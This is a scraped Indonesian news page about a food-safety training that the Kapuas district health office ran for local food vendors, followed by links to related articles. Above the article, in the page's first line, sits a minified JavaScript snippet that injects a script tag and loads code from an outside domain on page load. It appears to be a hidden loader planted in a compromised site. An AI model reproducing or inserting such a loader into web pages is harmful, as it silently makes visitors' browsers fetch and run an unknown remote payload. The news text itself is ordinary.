(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Dinkes Kapuas Berikan Pelatihan Keamanan Pangan ke Pelaku Usaha Makanan

KANALKALIMANTAN.COM, KUALA KAPUAS – Dinas Kesehatan Kabupaten Kapuas memberikan pelatihan keamanan pangan siap saji bagi para pelaku usaha makanan di daerah.

“Kita ingin memastikan setiap makanan yang beredar, terutama yang disajikan untuk publik, aman, dan layak konsumsi,” kata Pelaksana Tugas (Plt) Kepala Dinas Kesehatan Kabupaten Kapuas, dr Ahmad Haspiani, Selasa (25/11/2025).

Pelatihan diikuti oleh para pengelola usaha makanan, penanggung jawab unit dapur, serta penjamah makanan dari berbagai layanan publik dan usaha kuliner yang beroperasi di wilayah Kabupaten Kapuas.

Pelatihan diselenggarakan sebagai upaya meningkatkan pengetahuan dan keterampilan peserta dalam memastikan keamanan pangan, mengingat tingginya aktivitas produksi dan konsumsi makanan siap saji di masyarakat.

“Penjamah dan penanggung jawab makanan memiliki peran krusial dalam mencegah terjadinya penyakit bawaan makanan. Melalui pelatihan ini, kami berharap kompetensi peserta semakin meningkat sehingga standar kebersihan dan keamanan pangan dapat terjaga dengan baik,” harapnya.

Haspiani menegaskan, keamanan pangan merupakan aspek penting dalam perlindungan kesehatan masyarakat.

Dia menyampaikan bahwa Dinas Kesehatan Kapuas berkomitmen melakukan pembinaan dan pengawasan terhadap pelaku usaha makanan, sekaligus memberikan edukasi berkelanjutan untuk meningkatkan kualitas pelayanan pangan.

Sementara pelatihan ini mencakup materi mengenai higiene perorangan, sanitasi peralatan dan lingkungan, teknik pengolahan yang benar, serta identifikasi potensi bahaya pangan.

Kegiatan berlangsung interaktif dan mendapat antusiasme tinggi dari para peserta. Acara ditutup dengan sesi tanya jawab dan penegasan kembali komitmen bersama untuk menghadirkan pangan yang aman, sehat, dan berkualitas bagi masyarakat. (Kanalkalimantan.com/ags)

Reporter: ags
Editor: kk

Terkait

Risa

Next Upaya KWT Putri Idaman Naik Kelas Lewat Peningkatan Mutu Produk »

Previous « Mengenal Seorang Dosen Praktisi Berlatar Anggota Polri di Banjarmasin

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

7 jam ago

HEADLINE

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

9 jam ago